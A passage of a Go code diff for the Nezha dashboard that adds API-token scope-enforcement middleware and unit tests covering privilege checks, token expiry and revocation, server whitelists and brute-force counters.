patOrFallbackAuthMiddleware 是 optional 路由（ForceAuth=false 时也能匿名访问） +// 的鉴权链： +// 1. apiTokenAuthMiddleware：识别 PAT，命中后挂 user；非法 PAT 401 abort。 +// 2. 已挂 PAT → 跳过 JWT，restScopeMiddleware 会按 scope 收口。 +// 3. 未带 PAT → 走 fallbackJwtMw，存在 JWT 则挂 user，没有就匿名继续。 +// +// 这是修复 ForceAuth=false 时 optional 路由完全不解析 PAT 的关键： +// 之前直接用 fallbackAuthMw 会让 PAT 请求被当作 guest，scope 形同虚设。 +func patOrFallbackAuthMiddleware(patMw, fallbackJwtMw gin.HandlerFunc) gin.HandlerFunc { + return func(c *gin.Context) { + patMw(c) + if c.IsAborted() { + return + } + if APITokenFromContext(c) != nil { + return + } + fallbackJwtMw(c) + } +} + +// restScopeMiddleware 在 /api/v1/* 路由上 enforce PAT scope。 +// +// 行为： +// - JWT 持有者（任何来源：cookie / Authorization Bearer 非 nzp_）→ 直接放行， +// 沿用 JWT 模型的完整权限。 +// - PAT 持有者 → 必须命中给定 scope。命中后下游 handler 仍受 user 级权限 +// 检查（adminHandler / Server.HasPermission），scope 只能收窄不能放大。 +// - PAT 持有者遇到 scope=="" → 直接 403。空字符串作为 fail-closed 默认值， +// 防止接入新路由时忘填 scope 把 PAT 静默放行。 +// +// 因此"自我管理"端点（/profile、/api-tokens、/refresh-token 等）必须显式挂 +// restPATForbiddenMiddleware 来拒绝 PAT，而不是依赖空 scope 兜底。 +func restScopeMiddleware(scope string) gin.HandlerFunc { + return func(c *gin.Context) { + tok := APITokenFromContext(c) + if tok == nil { + c.Next() + return + } + if scope == "" || !tok.HasScope(scope) { + c.AbortWithStatusJSON(http.StatusForbidden, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorForbidden: api token lacks scope " + scope, + }) + return + } + c.Next() + } +} + +// restScopeAllOf is the multi-scope variant of restScopeMiddleware. It +// gates on EVERY listed scope, used by routes whose semantics span more +// than one capability — file-manager sessions read, write AND delete +// files, so a PAT that only carries nezha:server:write must NOT be allowed +// to open one. JWT callers pass through unchanged. +func restScopeAllOf(scopes ...string) gin.HandlerFunc { + return func(c *gin.Context) { + tok := APITokenFromContext(c) + if tok == nil { + c.Next() + return + } + for _, scope := range scopes { + if scope == "" || !tok.HasScope(scope) { + c.AbortWithStatusJSON(http.StatusForbidden, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorForbidden: api token lacks scope " + scope, + }) + return + } + } + c.Next() + } +} + +// serverConfigSensitiveScope 收紧 GET /server/config/:id 的 PAT scope 到 +// ScopeServerWrite：返回体里包含 client_secret 等下发到 agent 的凭据，单纯 +// nezha:server:read 不应足以读取。命名刻意带 Sensitive 而不是 Read，避免下 +// 个维护者把它当成普通 read scope 还原成 ScopeServerRead 重新打开提权链。 +func serverConfigSensitiveScope() string { return model.ScopeServerWrite } + +// restPATForbiddenMiddleware 在「自我管理」类端点上显式拒绝 PAT。 +// +// 这些端点（profile / api-tokens / oauth2 绑定 / refresh-token）一旦允许 PAT +// 自调，就可形成提权链（PAT → 创建更高权限 PAT → ...）。 +// 显式 403 比静默放行更安全。 +func restPATForbiddenMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + if APITokenFromContext(c) != nil { + c.AbortWithStatusJSON(http.StatusForbidden, model.CommonResponse[any]{ + Success: false, + Error: "ApiErrorForbidden: this endpoint is not accessible by api token", + }) + return + } + c.Next() + } +} diff --git a/cmd/dashboard/controller/api_token_scope_empty_doc_test.go b/cmd/dashboard/controller/api_token_scope_empty_doc_test.go new file mode 100644 index 00000000..63f9ebf8 --- /dev/null +++ b/cmd/dashboard/controller/api_token_scope_empty_doc_test.go @@ -0,0 +1,58 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// restScopeMiddleware 的"空 scope"实际行为：PAT 调用方一律 403。 +// 这条测试把注释与实现的契约对齐： +// 1. 实际行为：PAT + scope="" → 403。 +// 2. 文档约束：源码注释必须明确说出"空 scope 对 PAT 仍被拒绝"， +// 不能再保留"空字符串 = 放行"这种与实现相反的旧措辞。 +func TestRestScopeMiddleware_EmptyScopeRejectsPAT(t *testing.T) { + gin.SetMode(gin.TestMode) + r := gin.New() + r.GET("/x", func(c *gin.Context) { + c.Set(apiTokenCtxKey, &model.APIToken{ID: 1}) + c.Set(model.CtxKeyAPIToken, &model.APIToken{ID: 1}) + c.Next() + }, restScopeMiddleware(""), func(c *gin.Context) { + c.Status(http.StatusOK) + }) + + w := httptest.NewRecorder() + req := httptest.NewRequest("GET", "/x", nil) + r.ServeHTTP(w, req) + if w.Code != http.StatusForbidden { + t.Fatalf("expected 403 when PAT hits restScopeMiddleware(\"\"); got %d body=%q", w.Code, w.Body.String()) + } +} + +func TestRestScopeMiddleware_DocReflectsEmptyScopeRejection(t *testing.T) { + wd, err := os.Getwd() + if err != nil { + t.Fatalf("getwd: %v", err) + } + b, err := os.ReadFile(filepath.Join(wd, "api_token_scope.go")) + if err != nil { + t.Fatalf("read: %v", err) + } + src := string(b) + idx := strings.Index(src, "func restScopeMiddleware(") + if idx < 0 { + t.Fatalf("restScopeMiddleware not found") + } + doc := src[:idx] + if strings.Contains(doc, "空字符串）= 放行") || strings.Contains(doc, "空字符串) = 放行") { + t.Fatalf("doc still claims empty scope means 放行; this contradicts the implementation which 403s PAT callers") + } +} diff --git a/cmd/dashboard/controller/api_token_scope_test.go b/cmd/dashboard/controller/api_token_scope_test.go new file mode 100644 index 00000000..47cf340f --- /dev/null +++ b/cmd/dashboard/controller/api_token_scope_test.go @@ -0,0 +1,223 @@ +package controller + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// 在 /api/v1 风格的小 router 上重现 PAT + scope mw，验证 enforcement。 +func setupRESTScopeServer(t *testing.T) (*httptest.Server, string, func()) { + t.Helper() + cleanupBase, uid := setupMCPTest(t) + + _, plain := mkToken(t, uid, []string{model.ScopeInventoryRead}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + pat := apiTokenAuthMiddleware() + r.GET("/api/v1/server", + pat, + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.POST("/api/v1/server/config", + pat, + restScopeMiddleware(model.ScopeServerWrite), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.GET("/api/v1/profile", + pat, + restPATForbiddenMiddleware(), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + + ts := httptest.NewServer(r) + return ts, plain, func() { + ts.Close() + cleanupBase() + } +} + +func httpGetWithToken(t *testing.T, ts *httptest.Server, path, token string) (int, map[string]any) { + t.Helper() + req, _ := http.NewRequest("GET", ts.URL+path, nil) + if token != "" { + req.Header.Set("Authorization", "Bearer "+token) + } + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + var out map[string]any + _ = json.Unmarshal(body, &out) + return resp.StatusCode, out +} + +func httpPostWithToken(t *testing.T, ts *httptest.Server, path, token string) (int, map[string]any) { + t.Helper() + req, _ := http.NewRequest("POST", ts.URL+path, strings.NewReader("{}")) + if token != "" { + req.Header.Set("Authorization", "Bearer "+token) + } + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + var out map[string]any + _ = json.Unmarshal(body, &out) + return resp.StatusCode, out +} + +func TestRESTScope_PATWithReadCanGET(t *testing.T) { + ts, tok, cleanup := setupRESTScopeServer(t) + defer cleanup() + code, body := httpGetWithToken(t, ts, "/api/v1/server", tok) + require.Equal(t, 200, code) + require.True(t, body["ok"].(bool)) +} + +func TestRESTScope_PATWithReadCannotWrite(t *testing.T) { + ts, tok, cleanup := setupRESTScopeServer(t) + defer cleanup() + code, body := httpPostWithToken(t, ts, "/api/v1/server/config", tok) + require.Equal(t, 403, code) + require.Contains(t, body["error"], "nezha:server:write") +} + +func TestRESTScope_NoTokenIsTransparentToScopeMW(t *testing.T) { + ts, _, cleanup := setupRESTScopeServer(t) + defer cleanup() + code, _ := httpGetWithToken(t, ts, "/api/v1/server", "") + require.Equal(t, 200, code, "scope mw is PAT-only enforcement; JWT flow is gated by jwtOrPATAuthMiddleware before this layer. In this minimal router there is no JWT mw, so no token = handler runs (security is enforced upstream)") +} + +func TestRESTScope_PATForbiddenOnSelfManagement(t *testing.T) { + ts, tok, cleanup := setupRESTScopeServer(t) + defer cleanup() + code, body := httpGetWithToken(t, ts, "/api/v1/profile", tok) + require.Equal(t, 403, code) + require.Contains(t, body["error"], "not accessible by api token") +} + +func TestRESTScope_JWTUserSkipsScope(t *testing.T) { + cleanupBase, uid := setupMCPTest(t) + defer cleanupBase() + + gin.SetMode(gin.TestMode) + r := gin.New() + pat := apiTokenAuthMiddleware() + r.GET("/api/v1/server", + pat, + func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: model.RoleMember}) + c.Next() + }, + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + code, body := httpGetWithToken(t, ts, "/api/v1/server", "") + require.Equal(t, 200, code, "JWT-attached request (no PAT in ctx) must bypass scope check") + require.True(t, body["ok"].(bool)) +} + +func TestRESTScope_NezhaAllUnlocksEverything(t *testing.T) { + cleanupBase, uid := setupMCPTest(t) + defer cleanupBase() + _, plain := mkToken(t, uid, []string{model.ScopeNezhaAll}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + pat := apiTokenAuthMiddleware() + r.POST("/api/v1/server/config", + pat, + restScopeMiddleware(model.ScopeServerWrite), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + r.POST("/api/v1/batch-delete/server", + pat, + restScopeMiddleware(model.ScopeInventoryDelete), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + for _, path := range []string{"/api/v1/server/config", "/api/v1/batch-delete/server"} { + code, _ := httpPostWithToken(t, ts, path, plain) + require.Equalf(t, 200, code, "nezha:* must unlock %s", path) + } +} + +// --- WAF brute force --- + +func TestRESTScope_BadPATIncrementsWAFCounter(t *testing.T) { + cleanupBase, _ := setupMCPTest(t) + defer cleanupBase() + + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyRealIPStr, "203.0.113.7") + c.Next() + }) + r.GET("/api/v1/server", + apiTokenAuthMiddleware(), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + for i := 0; i < 3; i++ { + code, _ := httpGetWithToken(t, ts, "/api/v1/server", "nzp_invalid_token_xxx") + require.Equal(t, 401, code) + } + + var w model.WAF + require.NoError(t, singleton.DB.Where("block_identifier = ?", model.BlockIDToken).First(&w).Error) + require.GreaterOrEqual(t, w.Count, uint64(3)) +} + +func TestRESTScope_GoodPATClearsWAFCounter(t *testing.T) { + cleanupBase, uid := setupMCPTest(t) + defer cleanupBase() + + _, plain := mkToken(t, uid, []string{model.ScopeInventoryRead}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyRealIPStr, "198.51.100.5") + c.Next() + }) + r.GET("/api/v1/server", + apiTokenAuthMiddleware(), + restScopeMiddleware(model.ScopeInventoryRead), + func(c *gin.Context) { c.JSON(200, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + _, _ = httpGetWithToken(t, ts, "/api/v1/server", "nzp_invalid_token_xxx") + var w model.WAF + require.NoError(t, singleton.DB.Where("block_identifier = ?", model.BlockIDToken).First(&w).Error) + require.GreaterOrEqual(t, w.Count, uint64(1)) + + code, _ := httpGetWithToken(t, ts, "/api/v1/server", plain) + require.Equal(t, 200, code) + require.ErrorContains(t, + singleton.DB.Where("block_identifier = ?", model.BlockIDToken).First(&model.WAF{}).Error, + "record not found", + ) +} diff --git a/cmd/dashboard/controller/api_token_server_config_test.go b/cmd/dashboard/controller/api_token_server_config_test.go new file mode 100644 index 00000000..b18a4352 --- /dev/null +++ b/cmd/dashboard/controller/api_token_server_config_test.go @@ -0,0 +1,55 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func TestREST_ServerConfigRequiresWriteScope(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + _, plain := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.GET("/api/v1/server/config/:id", + apiTokenAuthMiddleware(), + restScopeMiddleware(serverConfigSensitiveScope()), + func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + resp := doReq(t, ts, "GET", "/api/v1/server/config/7", plain) + defer resp.Body.Close() + require.Equal(t, http.StatusForbidden, resp.StatusCode, + "nezha:server:read must not be sufficient to read agent config (contains client_secret)") +} + +func TestREST_ServerConfigGrantedByWriteScope(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + _, plain := mkToken(t, uid, []string{model.ScopeServerWrite}, nil) + + gin.SetMode(gin.TestMode) + r := gin.New() + r.GET("/api/v1/server/config/:id", + apiTokenAuthMiddleware(), + restScopeMiddleware(serverConfigSensitiveScope()), + func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"ok": true}) }, + ) + ts := httptest.NewServer(r) + defer ts.Close() + + resp := doReq(t, ts, "GET", "/api/v1/server/config/7", plain) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) +} diff --git a/cmd/dashboard/controller/api_token_server_whitelist_test.go b/cmd/dashboard/controller/api_token_server_whitelist_test.go new file mode 100644 index 00000000..98350ddc --- /dev/null +++ b/cmd/dashboard/controller/api_token_server_whitelist_test.go @@ -0,0 +1,79 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func patRequestCtx(t *testing.T, tok *model.APIToken, uid uint64, method, path string, body any) (*gin.Context, *httptest.ResponseRecorder) { + t.Helper() + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + var rdr *bytes.Reader + if body != nil { + b, _ := json.Marshal(body) + rdr = bytes.NewReader(b) + } else { + rdr = bytes.NewReader(nil) + } + c.Request = httptest.NewRequest(method, path, rdr) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: model.RoleMember}) + c.Set(apiTokenCtxKey, tok) + c.Set(model.CtxKeyAPIToken, tok) + return c, w +} + +func TestREST_PATServerWhitelistBlocksOtherServer(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, []uint64{99}) + + srv, _ := singleton.ServerShared.Get(7) + require.NotNil(t, srv) + require.Equal(t, uid, srv.GetUserID()) + + c, _ := patRequestCtx(t, tok, uid, "GET", "/api/v1/server/config/7", nil) + c.Params = gin.Params{{Key: "id", Value: "7"}} + + _, err := getServerConfig(c) + require.Error(t, err, "PAT not in server whitelist must be rejected") +} + +func TestREST_PATServerWhitelistBlocksSetConfig(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerWrite}, []uint64{99}) + + c, _ := patRequestCtx(t, tok, uid, "POST", "/api/v1/server/config", model.ServerConfigForm{ + Servers: []uint64{7}, + Config: "{}", + }) + _, err := setServerConfig(c) + require.Error(t, err, "setServerConfig must reject non-whitelisted server") +} + +func TestREST_PATServerWhitelistAllowsListedServer(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, []uint64{7}) + + c, _ := patRequestCtx(t, tok, uid, "GET", "/api/v1/server/config/7", nil) + c.Params = gin.Params{{Key: "id", Value: "7"}} + + data, err := getServerConfig(c) + require.NoError(t, err) + require.Equal(t, "", data, "no agent stream connected so handler should return empty") +} diff --git a/cmd/dashboard/controller/api_token_test.go b/cmd/dashboard/controller/api_token_test.go new file mode 100644 index 00000000..b7ac03da --- /dev/null +++ b/cmd/dashboard/controller/api_token_test.go @@ -0,0 +1,615 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupAPITokenTest(t *testing.T) func() { + t.Helper() + originalDB := singleton.DB + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.User{}, &model.APIToken{}, &model.Server{})) + singleton.DB = db + return func() { + _ = sqlDB.Close() + singleton.DB = originalDB + } +} + +func ctxAsUser(uid uint64, role model.Role) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest("POST", "/", nil) + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: uid}, Role: role}) + return c +} + +func bindJSON(c *gin.Context, body any) { + b, _ := json.Marshal(body) + c.Request = httptest.NewRequest("POST", "/", bytes.NewReader(b)) + c.Request.Header.Set("Content-Type", "application/json") +} + +func TestCreateAPIToken_MemberCanCreateExplicitScope(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "claude", + Scopes: []string{model.ScopeServerRead}, + }) + res, err := createAPIToken(c) + require.NoError(t, err) + require.NotEmpty(t, res.Token) + require.True(t, strings.HasPrefix(res.Token, model.APITokenPrefix)) + require.Greater(t, res.ID, uint64(0)) + + var stored model.APIToken + require.NoError(t, singleton.DB.First(&stored, res.ID).Error) + require.Equal(t, model.HashAPIToken(res.Token), stored.TokenHash) + require.Equal(t, uint64(10), stored.UserID) +} + +func TestCreateAPIToken_MemberCannotIssueWildcard(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "x", + Scopes: []string{model.ScopeNezhaAll}, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "admin") +} + +func TestCreateAPIToken_AdminCanIssueWildcard(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "ops-script", + Scopes: []string{model.ScopeNezhaAll}, + }) + res, err := createAPIToken(c) + require.NoError(t, err) + require.Contains(t, res.Scopes, model.ScopeNezhaAll) +} + +func TestCreateAPIToken_RejectsUnknownScope(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "x", + Scopes: []string{"mcp:hack:everything"}, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "unknown scope") +} + +func TestCreateAPIToken_RejectsEmptyScopes(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{Name: "x", Scopes: []string{}}) + _, err := createAPIToken(c) + require.Error(t, err) +} + +func TestCreateAPIToken_RejectsTooManyServerIDs(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + ids := make([]uint64, 1001) + for i := range ids { + ids[i] = uint64(i + 1) + } + bindJSON(c, model.APITokenCreateRequest{ + Name: "x", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: ids, + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "too many server_ids") +} + +func TestCreateAPIToken_RejectsExpirationOutOfRange(t *testing.T) { + defer setupAPITokenTest(t)() + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "x", + Scopes: []string{model.ScopeServerRead}, + ExpiresInDays: -1, + }) + _, err := createAPIToken(c) + require.Error(t, err) + + bindJSON(c, model.APITokenCreateRequest{ + Name: "x", + Scopes: []string{model.ScopeServerRead}, + ExpiresInDays: 10000, + }) + _, err = createAPIToken(c) + require.Error(t, err) +} + +func TestDeleteAPIToken_OnlyOwnerOrAdmin(t *testing.T) { + defer setupAPITokenTest(t)() + tok := model.APIToken{UserID: 10, Name: "x", TokenHash: model.HashAPIToken("nzp_x")} + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + + c := ctxAsUser(11, model.RoleMember) + c.Params = gin.Params{{Key: "id", Value: itoa(tok.ID)}} + _, err := deleteAPIToken(c) + require.Error(t, err, "other member must not delete") + + c = ctxAsUser(10, model.RoleMember) + c.Params = gin.Params{{Key: "id", Value: itoa(tok.ID)}} + _, err = deleteAPIToken(c) + require.NoError(t, err) +} + +func TestDeleteAPIToken_AdminCanDeleteAny(t *testing.T) { + defer setupAPITokenTest(t)() + tok := model.APIToken{UserID: 10, Name: "x", TokenHash: model.HashAPIToken("nzp_y")} + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + + c := ctxAsUser(1, model.RoleAdmin) + c.Params = gin.Params{{Key: "id", Value: itoa(tok.ID)}} + _, err := deleteAPIToken(c) + require.NoError(t, err) +} + +// installServerForAPIToken 在 ServerShared 里塞一台属于 ownerUID 的 server， +// 仅用于 PAT 创建路径的 server_ids 权限校验测试。 +func installServerForAPIToken(t *testing.T, serverID, ownerUID uint64) func() { + t.Helper() + original := singleton.ServerShared + sc := singleton.NewEmptyServerClassForTest() + srv := &model.Server{} + srv.ID = serverID + srv.SetUserID(ownerUID) + sc.InsertForTest(srv) + singleton.ServerShared = sc + return func() { singleton.ServerShared = original } +} + +func TestCreateAPIToken_MemberCannotIncludeForeignServerID(t *testing.T) { + defer setupAPITokenTest(t)() + defer installServerForAPIToken(t, 42, 999)() // server 42 owned by user 999 + + c := ctxAsUser(10, model.RoleMember) // attacker is user 10 + bindJSON(c, model.APITokenCreateRequest{ + Name: "evil", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: []uint64{42}, + }) + _, err := createAPIToken(c) + require.Error(t, err, "member must not be able to bind foreign server_id into a PAT") + require.Contains(t, err.Error(), "permission denied") +} + +func TestCreateAPIToken_MemberCannotIncludeNonexistentServerID(t *testing.T) { + defer setupAPITokenTest(t)() + cleanup := installServerForAPIToken(t, 1, 10) + defer cleanup() + + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "evil2", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: []uint64{9999}, // never-existed server + }) + _, err := createAPIToken(c) + require.Error(t, err) + require.Contains(t, err.Error(), "server not found") +} + +func TestCreateAPIToken_AdminCanIncludeAnyServerID(t *testing.T) { + defer setupAPITokenTest(t)() + defer installServerForAPIToken(t, 77, 999)() // foreign server + + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "ops-script", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: []uint64{77}, + }) + res, err := createAPIToken(c) + require.NoError(t, err) + require.Equal(t, []uint64{77}, res.ServerIDs) +} + +func TestCreateAPIToken_AdminCannotIncludeNonexistentServerID(t *testing.T) { + defer setupAPITokenTest(t)() + defer installServerForAPIToken(t, 77, 999)() // only server 77 exists + + c := ctxAsUser(1, model.RoleAdmin) + bindJSON(c, model.APITokenCreateRequest{ + Name: "ops-future-bind", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: []uint64{4242}, // never-existed server id + }) + _, err := createAPIToken(c) + require.Error(t, err, "admin must not bind a PAT to a nonexistent server_id; a later-created server with that id would auto-inherit the grant") + require.Contains(t, err.Error(), "server not found") +} + +func TestCreateAPIToken_MemberOwnServerIDIsAccepted(t *testing.T) { + defer setupAPITokenTest(t)() + defer installServerForAPIToken(t, 55, 10)() // user 10 owns server 55 + + c := ctxAsUser(10, model.RoleMember) + bindJSON(c, model.APITokenCreateRequest{ + Name: "self", + Scopes: []string{model.ScopeServerRead}, + ServerIDs: []uint64{55}, + }) + res, err := createAPIToken(c) + require.NoError(t, err) + require.Equal(t, []uint64{55}, res.ServerIDs) +} + +func TestAPITokenAuthMW_ExpiredTokenRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("e", 32) + past := time.Now().Add(-time.Hour) + tok := model.APIToken{ + UserID: 10, + Name: "expired", + TokenHash: model.HashAPIToken(plain), + ExpiresAt: &past, + } + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 10}}).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer "+plain) + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "expired token must abort the request") + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Contains(t, w.Body.String(), "expired") +} + +func TestAPITokenAuthMW_OwnerDeletedRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("o", 32) + tok := model.APIToken{ + UserID: 999, + Name: "orphan", + TokenHash: model.HashAPIToken(plain), + } + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer "+plain) + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "owner-less PAT must abort") + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Contains(t, w.Body.String(), "owner") +} + +func TestAPITokenAuthMW_HappyPathSetsUserContext(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("g", 32) + tok := model.APIToken{ + UserID: 10, + Name: "good", + TokenHash: model.HashAPIToken(plain), + } + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 10}, Username: "alice"}).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer "+plain) + apiTokenAuthMiddleware()(c) + require.False(t, c.IsAborted()) + + user, ok := c.Get(model.CtxKeyAuthorizedUser) + require.True(t, ok) + require.Equal(t, uint64(10), user.(*model.User).ID) + + got := APITokenFromContext(c) + require.NotNil(t, got) + require.Equal(t, "good", got.Name) +} + +func TestAPITokenAuthMW_NonNZPBearerPassesThrough(t *testing.T) { + defer setupAPITokenTest(t)() + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer some-jwt-here") + apiTokenAuthMiddleware()(c) + require.False(t, c.IsAborted(), "non-nzp Bearer must pass through to JWT middleware") + require.Nil(t, APITokenFromContext(c)) +} + +func TestAPITokenAuthMW_EmptyNZPBodyRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer nzp_") + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), + "Bearer with empty nzp_ body must be rejected (would otherwise hash an empty string and look it up)") + require.Equal(t, http.StatusUnauthorized, w.Code) +} + +func TestAPITokenAuthMW_RevokedTokenRejected(t *testing.T) { + defer setupAPITokenTest(t)() + + plain := "nzp_" + strings.Repeat("r", 32) + tok := model.APIToken{ + UserID: 10, + Name: "to-revoke", + TokenHash: model.HashAPIToken(plain), + } + tok.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(&tok).Error) + require.NoError(t, singleton.DB.Create(&model.User{Common: model.Common{ID: 10}}).Error) + + require.NoError(t, singleton.DB.Delete(&model.APIToken{}, tok.ID).Error) + + gin.SetMode(gin.TestMode) + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/", nil) + c.Request.Header.Set("Authorization", "Bearer "+plain) + apiTokenAuthMiddleware()(c) + require.True(t, c.IsAborted(), "revoked PAT must abort") + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Contains(t, w.Body.String(), "invalid api token") +} + +func TestAPITokenAuthMW_OversizedTokenIsRejected(t 